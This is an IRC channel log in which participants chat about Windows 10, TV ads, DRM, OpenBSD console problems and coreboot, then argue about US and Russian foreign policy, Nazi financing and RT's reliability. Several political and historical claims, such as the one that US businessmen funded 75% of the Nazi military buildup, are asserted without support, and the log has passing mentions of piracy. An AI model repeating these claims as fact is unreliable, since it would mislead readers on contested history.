| cubexyz | I did warn people not to use windows 10 though | Oct 10 20:25 |
| msb_ | Is that a "yes" answer to my question? Are you trying to reduce people's computer capabilities in order to force them into your life-style? | Oct 10 20:25 |
| cubexyz | I can't force people to do anything, I assure you | Oct 10 20:25 |
| cubexyz | I'm trying to get FOSS BIOS going actually | Oct 10 20:26 |
| cubexyz | I have nothing against new computers except for secure boot/intel boot guard, and things of that nature | Oct 10 20:26 |
| msb_ | If people buy new fast computers because they want Windows 10, that's a good thing, because when they find out how bad 10 is, we can tell them about Linux, and they'll have a good fast machine to run it on, | Oct 10 20:27 |
| cubexyz | and currently network television is bad bad bad | Oct 10 20:27 |
| cubexyz | you know it's bad :) | Oct 10 20:27 |
| cubexyz | they don't even like windows 10, that's what I've been hearing lately | Oct 10 20:28 |
| cubexyz | well, people usually call me when they're having a problem | Oct 10 20:28 |
| cubexyz | so I fix the problem... if they feel like hearing my philosophic observations on stuff then I'll tell them what I think | Oct 10 20:29 |
| cubexyz | otherwise it's problem fixed, paid, bye | Oct 10 20:29 |
| cubexyz | it's mostly in here that I ramble on about stuff because they tend to be more receptive | Oct 10 20:30 |
| msb_ | "Madame Secretary" is good. "Marvel's Agents of SHIELD" is good. "Castle" is good. "Limitless" is good. These are all current network TV series. | Oct 10 20:30 |
| cubexyz | they do ask me on occassion | Oct 10 20:30 |
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| cubexyz | no one asks me about TV though | Oct 10 20:31 |
| msb_ | You don't try to convert them all to Linux? | Oct 10 20:31 |
| cubexyz | well what I do is point out the alternatives like Linux/BSD/ChromeOS | Oct 10 20:31 |
| cubexyz | a few have actually listened and bought machines with those OSes from me | Oct 10 20:32 |
| cubexyz | no not necessarily Linux | Oct 10 20:32 |
| cubexyz | sometimes they buy Linux without realizing it, ironically enough | Oct 10 20:33 |
| cubexyz | sometimes I talk about repairability | Oct 10 20:33 |
| cubexyz | I've fixed a few HDTVs :) | Oct 10 20:33 |
| cubexyz | so you see, I'm not totally against TV | Oct 10 20:34 |
| cubexyz | Sony Bravia TVs are basically Linux computers | Oct 10 20:34 |
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| cubexyz | I should say no one asks me which TV programs I watch, beyond the fact I'm interested in Sci-FI | Oct 10 20:35 |
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| cubexyz | but if I watch ABC or CBS and see 8 or 9 commercials in a row, that's it, I'm done | Oct 10 20:35 |
| cubexyz | I have a PVR (which I'm not completely happy with) so I can on the few occasions where I do watch TV, fast-forward through any commercials | Oct 10 20:36 |
| cubexyz | but it's like 35% to 40% commercials now | Oct 10 20:36 |
| cubexyz | I can live without it | Oct 10 20:37 |
| cubexyz | I think I mentioned the Microsoft ads on Elementary already | Oct 10 20:38 |
| cubexyz | monastic life is surely an exaggeration :) | Oct 10 20:38 |
| cubexyz | I'd rather read books on Gutenberg than watch TV | Oct 10 20:39 |
| cubexyz | a real monk wouldn't fix TVs I don't think | Oct 10 20:39 |
| msb_ | The shows I watch are no more than about 30%, and I record them from cable-TV and then skip past the commercials. I also remove those obnoxious channel logos from the lower right corner, using an mplayer feature and some scripts I wrote. | Oct 10 20:42 |
| cubexyz | I once saw an ad take up a good 25% of the lower screen during the program | Oct 10 20:43 |
| cubexyz | it just gets worse and worse each year | Oct 10 20:43 |
| cubexyz | it's better to wait for the DVD/Bluray and rip it to the computer | Oct 10 20:43 |
| cubexyz | Bell and Rogers have a duopoly in Canada, and it's not a good thing | Oct 10 20:44 |
| cubexyz | I imagine the United States is similar | Oct 10 20:44 |
| cubexyz | the PVR from Bell must be the most blacked-boxed device I've ever seen | Oct 10 20:46 |
| cubexyz | videos are encrypted and non-transferable | Oct 10 20:47 |
| msb_ | "Elementary" will be back next month -- great! Did you refuse to watch it because it had Microshit ads? | Oct 10 20:47 |
| cubexyz | no, I just complain about it :) | Oct 10 20:47 |
| cubexyz | sometimes I read when on the exercise bike as I'm a bit worried I'm sitting too much | Oct 10 20:48 |
| msb_ | Not all good shows come out on DVD. | Oct 10 20:48 |
| cubexyz | they put "My Mother the Car" on DVD, they don't seem to be too choosey :) | Oct 10 20:49 |
| cubexyz | youtube as a 240p mode for us techno-minimalists | Oct 10 20:51 |
| msb_ | I'm told one can even find highly compressed high resolution copies of TV shows, with the commercials removed, on file-sharing cites. Maybe on the Dark Web, along with the Kitty Porn. | Oct 10 20:51 |
| msb_ | cites -> sites | Oct 10 20:51 |
| cubexyz | yes, I downloaded a few Elementary episodes like that | Oct 10 20:52 |
| msb_ | 360p minimal for me. | Oct 10 20:52 |
| msb_ | youtube-dl allows you to select the rez that you want. | Oct 10 20:53 |
| msb_ | -F lists them and -f select one. | Oct 10 20:53 |
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| msb_ | selects | Oct 10 20:53 |
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| msb_ | Some very old (and funky) scifi movies can be found whole on youtube. | Oct 10 20:54 |
| cubexyz | Sony wasn't helpful at all when I asked them about replacement TV parts | Oct 10 20:55 |
| cubexyz | I still managed to source the parts though | Oct 10 20:55 |
| msb_ | I loved it when North Korea stole their movie! (If it did.) | Oct 10 20:56 |
| cubexyz | it's the parts cross-reference info that's the real gold | Oct 10 20:56 |
| cubexyz | they don't want you to know that stuff | Oct 10 20:56 |
| cubexyz | I know one guy who puts me to shame... | Oct 10 20:57 |
| cubexyz | he only uses a human-powered lawnmower :) | Oct 10 20:57 |
| cubexyz | doesn't even own a TV | Oct 10 20:57 |
| cubexyz | but that kind of person is very rare | Oct 10 20:58 |
| cubexyz | he lived during the Great Depression, so he's programmed himself to be very frugal | Oct 10 20:58 |
| msb_ | And rides a horse to work. | Oct 10 20:58 |
| cubexyz | no, he owns a car but... | Oct 10 20:58 |
| cubexyz | it doesn't have radio :) | Oct 10 20:59 |
| msb_ | Runs a version of Unix so old it doesn't even have files. | Oct 10 20:59 |
| cubexyz | it's the only car I've ever seen without a radio | Oct 10 20:59 |
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| cubexyz | no, retired | Oct 10 21:00 |
| cubexyz | he's a good person, always tries to help others | Oct 10 21:01 |
| cubexyz | just very frugal | Oct 10 21:01 |
| cubexyz | dries his clothes on a clothes-line | Oct 10 21:02 |
| cubexyz | http://www.buddhanet.net/mag_surf.htm | Oct 10 21:07 |
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| cubexyz | cyber monks! | Oct 10 21:07 |
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| cubexyz | I used to spend a fair amount of time de-crypting wma and wmv files, but now I try to avoid that | Oct 10 21:15 |
| cubexyz | lately the problem has been fdf files, a kind of DRM-protected pdf file | Oct 10 21:16 |
| cubexyz | who wants ebooks with DRM? Not me | Oct 10 21:17 |
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| MinceR | 030759 < cubexyz> cyber monks! | Oct 10 21:55 |
| MinceR | http://vignette2.wikia.nocookie.net/quake/images/c/c5/P_xaero.jpg/revision/latest?cb=20120224104616 | Oct 10 21:55 |
| cubexyz | Loki Software seems like a million years ago now | Oct 10 21:59 |
| cubexyz | ok, just did something interesting, never happened before... | Oct 10 22:18 |
| MinceR | :) | Oct 10 22:18 |
| cubexyz | x2x is running and I switched to text console | Oct 10 22:19 |
| cubexyz | so you x2x and use a different keyboard, you lose control at that point | Oct 10 22:19 |
| cubexyz | since X doesn't control the keyboard at that point | Oct 10 22:19 |
| MinceR | you switched the controlled machine to text console? | Oct 10 22:20 |
| cubexyz | yes | Oct 10 22:20 |
| MinceR | i never did that :) | Oct 10 22:20 |
| cubexyz | it actually switched the controller machine to text console as well | Oct 10 22:21 |
| MinceR | :D | Oct 10 22:21 |
| cubexyz | if the cursor is on the controller machine, then I can just switch that machine to text console (as expected) | Oct 10 22:22 |
| cubexyz | and as I bonus, I managed to bork up both text consoles | Oct 10 22:22 |
| cubexyz | but ... interestingly enough, not by x2x | Oct 10 22:23 |
| cubexyz | and there's no get-out-of-borked-up-text-console free framebuffer module on openbsd | Oct 10 22:24 |
| cubexyz | if the text console gets borked up on Linux I can do: sudo modprobe radeonfb | Oct 10 22:25 |
| cubexyz | but that does't exist in openbsd | Oct 10 22:25 |
| MinceR | do openbsd gurus have an idea to fix that? | Oct 10 22:25 |
| cubexyz | not really | Oct 10 22:26 |
| cubexyz | you can use serial terminal or ssh from ethernet to do stuff of course | Oct 10 22:26 |
| cubexyz | maybe if you knew exactly which registers to write to you could fix it | Oct 10 22:27 |
| cubexyz | I know openbsd does: | Oct 10 22:30 |
| cubexyz | wsdisplay0 at vga1 mux 1: console #2880x25, vt100 emulation#29 | Oct 10 22:31 |
| cubexyz | ah, that's garbled | Oct 10 22:31 |
| MinceR | :) | Oct 10 22:31 |
| cubexyz | the parathensis has been converted to #28 and #29 | Oct 10 22:32 |
| cubexyz | wsdisplay0 at vga1 mux 1: console (80x25, vt100 emulation) | Oct 10 22:32 |
| cubexyz | that is correct | Oct 10 22:32 |
| cubexyz | I must admit Linux does this better than openbsd | Oct 10 22:35 |
| MinceR | but not for long, if redcrap has its way :> | Oct 10 22:35 |
| cubexyz | the openbsd gurus don't think the framebuffer is important | Oct 10 22:36 |
| cubexyz | you can control the text console on openbsd with: | Oct 10 22:37 |
| cubexyz | wsconscfg -t 80x50 6 | Oct 10 22:37 |
| cubexyz | but if it completely goes blank then you're screwed | Oct 10 22:37 |
| cubexyz | parenthesis | Oct 10 22:40 |
| cubexyz | it's stupid there's no reset feature | Oct 10 22:46 |
| cubexyz | System/390 does things a lot better than PCs | Oct 10 23:03 |
| cubexyz | separate memory partitions for one thing | Oct 10 23:04 |
| cubexyz | basically less code for GUIs and more code for error detection, error isolation and recovery | Oct 10 23:05 |
| cubexyz | that's not to say Linux or BSD couldn't be better than it currently is | Oct 10 23:06 |
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| schestowitz | msb_: not humour, just Russian taunting the US | Oct 04 08:45 |
| schestowitz | both are totalitarian oligarchies | Oct 04 08:45 |
| schestowitz | but the US has more overall wealth | Oct 04 08:45 |
| msb_ | The US has more weapons, and has murdered far more people in this century. | Oct 04 08:46 |
| schestowitz | I think that russia MIGHT still have more nukes | Oct 04 08:47 |
| schestowitz | but more outdated one | Oct 04 08:47 |
| schestowitz | and probably no H bombs, if any... | Oct 04 08:47 |
| schestowitz | *no>little | Oct 04 08:47 |
| schestowitz | their delivery systems are also likely inferior, as are the submarines and launching pads | Oct 04 08:48 |
| schestowitz | [08:46] <msb_> The US has more weapons, and has murdered far more people in this century. | Oct 04 08:48 |
| schestowitz | Russia murdered more if you extent that to century | Oct 04 08:48 |
| schestowitz | they killed perhaps 3 times as many as the US did | Oct 04 08:48 |
| schestowitz | internally and externally, e.g. Ukraine | Oct 04 08:48 |
| schestowitz | So the US is still miles better to live in than Russia | Oct 04 08:49 |
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| schestowitz | Kremlin media doesn't like to talk about Russia, except when it makes Putin look like a hero | Oct 04 08:49 |
| schestowitz | Using RT to learn about Russia and the US is like using Iranian/Syrian press to learn about Israel or vice versa | Oct 04 08:50 |
| schestowitz | You might be better off turning even to Chinese media, it's not as US-hostile | Oct 04 08:50 |
| msb_ | Are you taking into account all the people murdered by the WW2 Nazis, who were 75% financed by US businessmen. | Oct 04 08:50 |
| schestowitz | That's not the fault of the US (not any more than the British) | Oct 04 08:50 |
| schestowitz | Austria and Germany mostly | Oct 04 08:51 |
| schestowitz | maybe to some degree Italy and a Nazi-sympathising (to the anti-Semitic extent) France | Oct 04 08:51 |
| schestowitz | It's a stretch to blame Nazi death on the US | Oct 04 08:51 |
| msb_ | http://cosmicpenguin.com/#US_Nazis | Oct 04 08:52 |
| -TechrightsBot-tr/#techrights-cosmicpenguin.com | Human Society That Works For Everyone | Oct 04 08:52 | |
| schestowitz | Financial support | Oct 04 08:52 |
| schestowitz | Not just a US thing | Oct 04 08:52 |
| schestowitz | There are German 'expatriots' in other countries | Oct 04 08:52 |
| schestowitz | What about Argentina's stance in WW2? | Oct 04 08:52 |
| schestowitz | Or Japan's for that matter? | Oct 04 08:53 |
| schestowitz | Try painting Nazism as a US thing | Oct 04 08:53 |
| schestowitz | it's not | Oct 04 08:53 |
| msb_ | 75% came from US businessmen, in order to have Hitler destr0y socialism. | Oct 04 08:53 |
| schestowitz | There were some, among the US population, who not only sympathised with the Nazis party but also made material support | Oct 04 08:53 |
| schestowitz | Inc. Bush the grandpa | Oct 04 08:54 |
| schestowitz | So 75% of the Nazis "budget" was US? | Oct 04 08:54 |
| msb_ | And others. Read the linked articles. | Oct 04 08:54 |
| msb_ | yes | Oct 04 08:54 |
| schestowitz | And the tanks? | Oct 04 08:54 |
| schestowitz | And machine guns? | Oct 04 08:54 |
| schestowitz | No german labour? | Oct 04 08:54 |
| schestowitz | No German material/resources? | Oct 04 08:54 |
| msb_ | construction paid for with that money | Oct 04 08:54 |
| schestowitz | Did the US send planes to German? | Oct 04 08:54 |
| schestowitz | They don't need money to make weapons | Oct 04 08:55 |
| schestowitz | They have the material and the forced labour | Oct 04 08:55 |
| schestowitz | inc. in camps, in France, in fields | Oct 04 08:55 |
| schestowitz | They could just look all the resources in occupied territories | Oct 04 08:55 |
| schestowitz | The US did not CAUSE the nazi 'success' | Oct 04 08:55 |
| schestowitz | It may have /contributed/ to it | Oct 04 08:55 |
| schestowitz | But quit framing the US as the CAUSE of it | Oct 04 08:55 |
| schestowitz | Because it's just dumb | Oct 04 08:55 |
| msb_ | Read the references. | Oct 04 08:56 |
| schestowitz | And the US govt. just met some germany officials, didn't make them strong allies | Oct 04 08:56 |
| schestowitz | Not any more than the British did... | Oct 04 08:56 |
| msb_ | The US govt didn't do it. Private businessmen did. | Oct 04 08:57 |
| schestowitz | How many people in total? | Oct 04 08:57 |
| schestowitz | hundreds? Thousands? | Oct 04 08:57 |
| msb_ | Non in my memory. | Oct 04 08:57 |
| schestowitz | The US had over 100 million at the time, maybe even 200 | Oct 04 08:57 |
| msb_ | Read the references. | Oct 04 08:57 |
| schestowitz | I did ages ago | Oct 04 08:57 |
| schestowitz | it talks about super-wealthy citizens sending money to political 'causes' in Germany | Oct 04 08:57 |
| schestowitz | Many still do | Oct 04 08:58 |
| schestowitz | and not just in Germany | Oct 04 08:58 |
| schestowitz | If they do this in Iran, Syria etc. they might get arrested for "aiding/abetting terrorism" | Oct 04 08:58 |
| schestowitz | Still, such people would not make US complicit in ISIS | Oct 04 08:59 |
| schestowitz | Just as some French people who join ISIS doesn't make France as a whole liable for it | Oct 04 08:59 |
| msb_ | No, US is complicit in ISIS because it created Mujahideen to harass Russia. | Oct 04 09:00 |
| msb_ | Mujahideen became Al Qaeda, which became ISIS. | Oct 04 09:00 |
| schestowitz | You know I'm very critical of US/UK foreign policy, but if this channel is viewed as claiming the US was the supporter of Nazi Germany, then you just discredit the whole lot | Oct 04 09:00 |
| schestowitz | But US does not support ISIS | Oct 04 09:00 |
| schestowitz | It supported the Mujahideen | Oct 04 09:01 |
| msb_ | US has been sending thousands of armed jihadists into Syria for years, knowing that almost all defect to ISIS. | Oct 04 09:01 |
| schestowitz | And those whom it sent to Syria | Oct 04 09:01 |
| schestowitz | Some join Al-Nusra | Oct 04 09:01 |
| schestowitz | Or even ISIS, worse than AQ by some standards | Oct 04 09:01 |
| schestowitz | it doesn't mean this was all along the intention or that the end outcome is viewed as "desirable" | Oct 04 09:01 |
| schestowitz | Some Brits also supported Hitler well before the war | Oct 04 09:01 |
| schestowitz | Doesn't mean they support invasions of Czechoslovakia and Poland | Oct 04 09:02 |
| schestowitz | [09:01] <msb_> US has been sending thousands of armed jihadists into Syria for years, knowing that almost all defect to ISIS. | Oct 04 09:02 |
| schestowitz | No, they found that out around 2014 | Oct 04 09:02 |
| schestowitz | WSJ wrote about that too, so it's no secret | Oct 04 09:02 |
| schestowitz | and now they have a $500ml budget for this and they have trained no more than maybe 60 or 600 people last I read... | Oct 04 09:03 |
| schestowitz | Because they're super-picky | Oct 04 09:03 |
| schestowitz | Having done much harm already, not by intention | Oct 04 09:03 |
| schestowitz | They were desperate to remove Assad, and maybe later his allies in Iran | Oct 04 09:03 |
| msb_ | The US intention was to overthrow Assad. | Oct 04 09:03 |
| schestowitz | All the other Middle Eastern countries are already in Western pockets | Oct 04 09:03 |
| schestowitz | Even Yemen, until recently when they lost control | Oct 04 09:04 |
| schestowitz | Lebanon is OK with the US, and it's partly xian too | Oct 04 09:04 |
| schestowitz | Except the political factions of Hezbollah | Oct 04 09:04 |
| schestowitz | who too are said to be aligned with Iran/Syria | Oct 04 09:04 |
| schestowitz | So the US wants to eliminate this element | Oct 04 09:04 |
| schestowitz | Other countries that don't bend over for Uncle Sam are N Korea and Russia | Oct 04 09:05 |
| schestowitz | Maybe venezuela and ecador, where it's "complicated".... | Oct 04 09:05 |
| msb_ | But you tried to vague away the discussion about US and Hitler, by making irrelevant statements. US businessmen gave Hitler 75% of the financing for his military buildup, and the purpose was to have him destr0y socialism in Russia and Europe. | Oct 04 09:05 |
| schestowitz | world domination is the goal | Oct 04 09:05 |
| schestowitz | and Syria's government is more aligned with Russian interests, as did Ukraine until the EU expanded like an expire to the East | Oct 04 09:06 |
| schestowitz | [09:05] <msb_> But you tried to vague away the discussion about US and Hitler, by making irrelevant statements. US businessmen gave Hitler 75% of the financing for his military buildup, and the purpose was to have him destr0y socialism in Russia and Europe. | Oct 04 09:06 |
| schestowitz | Bollox | Oct 04 09:06 |
| schestowitz | 75% of Nazis budget is from the US? | Oct 04 09:06 |
| schestowitz | You must be dreaming | Oct 04 09:07 |
| msb_ | The goal is also to eliminate socialism, so the ultra-rich can keep their 99% profits. | Oct 04 09:07 |
| msb_ | It's in the references I link to. | Oct 04 09:07 |
| schestowitz | The overall assets/wealth of ther German country was more than what all these US funders had combined in their bank, by orders of magnitude | Oct 04 09:07 |
| schestowitz | GDP of germany back then was still high, hyperinflation is overinflated, as if inflation, as some economists will say | Oct 04 09:08 |
| schestowitz | as long as locals are able to work and produce, they'll live | Oct 04 09:08 |
| schestowitz | irrespective of currencies | Oct 04 09:08 |
| schestowitz | germany didn't depend much on global trade for food | Oct 04 09:08 |
| schestowitz | unlike the UK perhaps | Oct 04 09:08 |
| schestowitz | it almost ran low on food towards the end of the war because u-boats sank supplies | Oct 04 09:08 |
| schestowitz | [09:07] <msb_> The goal is also to eliminate socialism, so the ultra-rich can keep their 99% profits. | Oct 04 09:09 |
| schestowitz | Not the goal is at question | Oct 04 09:09 |
| schestowitz | the proportion of funding | Oct 04 09:09 |
| schestowitz | you said US provided 75% of Nazi funds | Oct 04 09:09 |
| schestowitz | which is patently BS | Oct 04 09:09 |
| msb_ | Regarding RT, it presents accurate information. | Oct 04 09:09 |
| schestowitz | right next to "Hitler is an alien" or Russia's Stalin is a US agent | Oct 04 09:10 |
| schestowitz | you're dodging the topic now | Oct 04 09:10 |
| msb_ | Straw-man | Oct 04 09:10 |
| schestowitz | RT is not accurate information | Oct 04 09:10 |
| schestowitz | It's nationalist propaganda | Oct 04 09:10 |
| schestowitz | it's good for covering some US blunders at times | Oct 04 09:10 |
| schestowitz | esp. when no other site which is decent does so | Oct 04 09:10 |
| schestowitz | RT also invites US dissidents | Oct 04 09:10 |
| msb_ | Give examples of falsehoods. | Oct 04 09:10 |
| schestowitz | so this is where they get a large TV audience to express their views | Oct 04 09:11 |
| schestowitz | Tell me when RT does an interview with Russian dissidents | Oct 04 09:11 |
| schestowitz | Show me now... | Oct 04 09:11 |
| schestowitz | Did they ever even interview the fames Pussy Riot? | Oct 04 09:11 |
| schestowitz | *famed | Oct 04 09:11 |
| schestowitz | bias by omission in RT | Oct 04 09:11 |
| msb_ | I wasn't watching it then. | Oct 04 09:12 |
| schestowitz | gotta go now.. | Oct 04 09:12 |
| schestowitz | https://twitter.com/Zeipt/status/650592990508003328 | Oct 04 09:51 |
| -TechrightsBot-tr/#techrights-@Zeipt: @schestowitz take a look to rbc.ru (russian only, but unfortunately more objective than any others there) | Oct 04 09:51 | |
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| schestowitz | I have just taken a look at rbc.ru - is it a large mainstream/mass media network or just a marginalised independent site with budget? | Oct 04 09:52 |
| schestowitz | https://twitter.com/schestowitz/status/650590217221591040 | Oct 04 09:52 |
| -TechrightsBot-tr/#techrights-@schestowitz: Is there any >large< news network in #russia that actually dares to criticise the (Russian) Establishment much? Any in English language? | Oct 04 09:52 | |
| schestowitz | https://twitter.com/Zeipt/status/650593758967406592 | Oct 04 09:53 |
| -TechrightsBot-tr/#techrights-@Zeipt: @schestowitz also there is https://t.co/BXOkYRgxk3 | Oct 04 09:53 | |
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| schestowitz | I know of that one, but still, not maintream | Oct 04 09:53 |
| schestowitz | I know of that one, but still, not mainstream | Oct 04 09:53 |
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| schestowitz | https://twitter.com/Zeipt/status/650595715568246784 | Oct 04 09:58 |
| -TechrightsBot-tr/#techrights-@Zeipt: @schestowitz "we have to public all the things, and if government begin turture us, we can step back, but we have to public all the things") | Oct 04 09:58 | |
| schestowitz | https://twitter.com/Zeipt/status/650595204131479552 | Oct 04 10:05 |
| -TechrightsBot-tr/#techrights-@Zeipt: @schestowitz it is largest financial/buisness/analytic network. I dont know much abt their budget. But I know their editor's princip | Oct 04 10:05 | |
| schestowitz | https://twitter.com/Zeipt/status/650596619319164929 | Oct 04 10:07 |
| -TechrightsBot-tr/#techrights-@Zeipt: @schestowitz there no large/mainstream one. All are under control of @roskomnadzor_rf, ФСБ, and under full censorship. | Oct 04 10:07 | |
| schestowitz | https://twitter.com/Zeipt/status/650597401649115136 | Oct 04 10:07 |
| -TechrightsBot-tr/#techrights-@Zeipt: @schestowitz russians cant even access the mobile and wifi internet without identification... | Oct 04 10:07 | |
| MinceR | 094735 < schestowitz> and probably no H bombs, if any... | Oct 04 10:23 |
| MinceR | they do have those | Oct 04 10:23 |
| MinceR | https://en.wikipedia.org/wiki/Tsar_bomba | Oct 04 10:23 |
| -TechrightsBot-tr/#techrights-en.wikipedia.org | Tsar Bomba - Wikipedia, the free encyclopedia | Oct 04 10:23 | |
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| schestowitz | hydrogen? Let's see... | Oct 04 10:45 |
| schestowitz | ah yes, "AN602 hydrogen bomb" | Oct 04 10:46 |
| schestowitz | they now get 50mt TNT yield in much smaller sizes | Oct 04 10:48 |
| schestowitz | didn't know tsar bomba was 27 tons, 2 meter wide, 8 meter long | Oct 04 10:48 |
| schestowitz | that's like dumping a semi-trailer | Oct 04 10:48 |
| schestowitz | clumsy and heavy | Oct 04 10:48 |
| MinceR | :) | Oct 04 10:49 |
| schestowitz | https://twitter.com/Metztli_IT/status/650609087831343105 | Oct 04 10:53 |
| -TechrightsBot-tr/#techrights-@Metztli_IT: Imposed via violence to coerce fanaticism sharing common root belief 3 #patriarchies are more alike than different: https://t.co/LoDAaai1Tn | Oct 04 10:53 | |
| -TechrightsBot-tr/#techrights-@schestowitz: A friend of mine who's a professor who works in Saudi and a relative who was a nurse there say many surgeries are due to rectal rape (male) | Oct 04 10:53 | |
| schestowitz | relative=sister in law | Oct 04 10:54 |
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| msb_ | RT is now showing a very detailed documentary on the 2010 Deepwater Horizon oilwell blowout that resulted in the worst environmental disaster in history. | Oct 04 12:50 |
| msb_ | wiki: "Britain, China, France, Russia and the United States are known to possess MIRV missiles." IIRC, each independent H-bomb is in the range of 100-600KT. | Oct 04 12:58 |
| msb_ | "<schestowitz> bias by omission in RT" Sure. All sources omit things. But neither schestowitz nor MinceR has been able to cite any information that RT has broadcast that is false. Whereas US corporate media actually _lie_ about important matters constantly. | Oct 04 13:03 |
| msb_ | About two weeks ago, one of the regular programs on RT had a journalist who blamed Putin for the deaths of 8,000 people in one of Ukraine's Eastern regions, because he had said he would protect them, and when they stood up and said they wanted a degree of autonomy, and the Nazi Ukraine govt began shelling them, Putin did nothing. | Oct 04 13:06 |
| msb_ | I think the same show yesterday had three journalists talking about Assad. One was an a-hole from the US rightwing Heritage Foundation who said that Assad was a "genocidal monster" who dropped "barrel bombs". Wiki says the US dropped barrel bombs on the Vietnamese, and Israel dropped them on the Palestinians. | Oct 04 13:17 |
| msb_ | They're just a cheap kind of bomb in which the filling can be chosen arbitrarily. | Oct 04 13:19 |
| msb_ | But even the a-hole said that Assad (who was re-elected in 2014) was necessary rid Syria of ISIL and Al Qaeda. | Oct 04 13:22 |
| msb_ | At MinceR's suggestion I asked a Russian guy if he felt like he is living in a dictatorship. He said that Russian laws on speech are overly restrictive, but are enforced only infrequently. | Oct 04 13:25 |
| msb_ | Oil spill docu: horrible pictures of shrimps with tumors growing out of them, due to the "Corexit" dispersant sprayed to hide the oil. US govt official filmed saying that there was no oil on the sea floor. Movies shot out of a mini-sub showed the sea floor totally covered with oil. This from a US TV station. | Oct 04 13:53 |
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| -TechrightsBot-tr/#techrights-@Metztli_IT: C00l Built for #Debian sometime ago because I needed #mencoder. Since then, I wrote my notes https://t.co/luuL2PG2Ht https://t.co/3KGuPtE0de | Oct 04 14:01 | |
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| XRevan86 | Ксения == Ksenia | Oct 04 14:02 |
| XRevan86 | not Zenia | Oct 04 14:02 |
| msb_ | XRevan86: This is all the fault of the Evil Empire (Russia) for having two or three different ways to spell the same word, and for re-using the Roman/English alphabet with some of the letters turned backwards and pronounced differently. That's just plain wrong! | Oct 04 14:06 |
| XRevan86 | msb_: Russian mostly has only one way of spelling %) | Oct 04 14:07 |
| XRevan86 | in cyrillic | Oct 04 14:07 |
| XRevan86 | problem is that in English "X" in the beginning of the word can mean "Z" | Oct 04 14:08 |
| XRevan86 | and mostly does | Oct 04 14:08 |
| XRevan86 | with few exceptions | Oct 04 14:08 |
| msb_ | Xenophobes are afraid of Xerox machines! | Oct 04 14:09 |
| XRevan86 | Fun fact: photocopies in Russian are called kserocopies | Oct 04 14:10 |
| msb_ | LOL! | Oct 04 14:10 |
| XRevan86 | and device itself: kserox :) | Oct 04 14:12 |
| msb_ | When I hear a German guy talk, I (knowing nothing of German), think it sounds like he's saying he's gonna kill me. | Oct 04 14:12 |
| msb_ | But Russians, I don't know what to make of them. | Oct 04 14:13 |
| msb_ | XBox is evil! | Oct 04 14:13 |
| msb_ | French or Spanish, we can understand every second to fourth word. | Oct 04 14:14 |
| msb_ | But one Russian phrase is very clear: Tsar Bomba | Oct 04 14:14 |
| msb_ | I'll bet that filled the shorts of some US military guys when they found out about it! | Oct 04 14:16 |
| XRevan86 | msb_: %) | Oct 04 14:19 |
| XRevan86 | msb_: Russian is not a Roman language so no wonder. | Oct 04 14:19 |
| msb_ | That's exactly it. If old Cyril had known and liked French or Latin, he would have made it much easier. | Oct 04 14:21 |
| XRevan86 | msb_: I'm not talking about alphabet :) | Oct 04 14:24 |
| XRevan86 | msb_: and old Cyrill is older than France %) | Oct 04 14:25 |
| XRevan86 | but younger than Rome Empire | Oct 04 14:27 |
| schestowitz | https://twitter.com/schestowitz/status/650590217221591040 | Oct 04 14:29 |
| -TechrightsBot-tr/#techrights-@schestowitz: Is there any >large< news network in #russia that actually dares to criticise the (Russian) Establishment much? Any in English language? | Oct 04 14:29 | |
| msb_ | So Cyrill used the Roman alphabet, but he didn't know how to pronounce the letters. | Oct 04 14:30 |
| XRevan86 | msb_: They probably had no idea Latin alphabet existed. | Oct 04 14:30 |
| XRevan86 | msb_: Cyrillic is based on Greek alphabet. | Oct 04 14:31 |
| msb_ | schestowitz: Russia doesn't need those, the US has plenty. MinceR is fond of directing us to articles in Radio Free Europe! But every other corporate US network reports on and smears Russia, according to the US govt line. | Oct 04 14:34 |
| msb_ | schestowitz: And as I said, I saw an RT program in which Putin was criticized. | Oct 04 14:35 |
| schestowitz | https://twitter.com/AJimenez1988/status/650665843441934337 | Oct 04 14:39 |
| -TechrightsBot-tr/#techrights-@AJimenez1988: @schestowitz I find outright banning more honest than flaying someone alive with copyright lawsuits. | Oct 04 14:39 | |
| schestowitz | how so? | Oct 04 14:55 |
| schestowitz | https://joindiaspora.com/p/6663989 | Oct 04 14:55 |
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| schestowitz | > Dear Roy, | Oct 04 17:00 |
| schestowitz | > | Oct 04 17:00 |
| schestowitz | > | Oct 04 17:00 |
| schestowitz | > | Oct 04 17:00 |
| schestowitz | > I just read your above-mentioned blog post. Specifically with regard to transparency and democracy in the UPC context, do you know my papers “Law-making in camera” (accessible here) and “The sub-sub-suboptimal compromise of the EU Parliament” (accessible here) from 2013? Having a look might be worthwhile. | Oct 04 17:00 |
| schestowitz | Thanks, I shall have a look in the coming back as I've just returned home after 2 weeks. | Oct 04 17:01 |
| cubexyz | people are rightly suspicious of Vpro but AMD has DASH which is similar: | Oct 04 17:06 |
| cubexyz | http://www.maxhost.org/other/amd-dash.jpg | Oct 04 17:07 |
| cubexyz | you can easily get an AMD motherboard without DASH, it's just one more thing to watch out for | Oct 04 17:08 |
| cubexyz | understanding the PC has got a lot harder | Oct 04 17:13 |
| cubexyz | there's a bit of a bias with coreboot developers | Oct 04 17:18 |
| cubexyz | basically server motherboards are getting much more attention | Oct 04 17:18 |
| cubexyz | data centres and server farms get higher priority thus server motherboards get more attention | Oct 04 17:19 |
| cubexyz | coreboot has spawned distributions | Oct 04 17:21 |
| cubexyz | SageBIOS for one | Oct 04 17:22 |
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| TweetTuxMachines | @tuxmachines Data indicates that Android picked up global | Oct 04 18:32 |
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| TweetTuxMachines | @tuxmachines There's A Lot Of Exciting AMDGPU DRM Code | Oct 04 18:41 |
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| TweetTuxMachines | @tuxmachines Microsoft Continues to Extort Linux and Android | Oct 04 18:46 |
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| TweetTuxMachines | @tuxmachines A Linux World: After Billions of Dollars in | Oct 04 18:49 |
| TweetTuxMachines | Losses Microsoft Changes How It Reports | Oct 04 18:49 |
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| *TweetTuxMachines @schestowitz retweeted @tuxmachines: 'A Linux World: After Billions of Dollars in...' | Oct 04 19:13 | |
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| *TweetTuxMachines @TechCraiz favourited 'Update on Wayland support in Fedora 23 http://t.co/NntkuiMkOq...' | Oct 04 19:37 | |
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| cubexyz | from an actual Microsoft forum: | Oct 04 19:43 |
| schestowitz | ... | Oct 04 19:43 |
| cubexyz | "This new, 'great' operating system has ruined my computer. After a short period of time, my computer stops working. Nothing. Not a thing works. I am forced to do hard restarts several times a day. This is terrible. Windows 10 has ruined my computer. I am devastated." | Oct 04 19:44 |
| schestowitz | link? | Oct 04 19:44 |
| schestowitz | I want to link to that | Oct 04 19:44 |
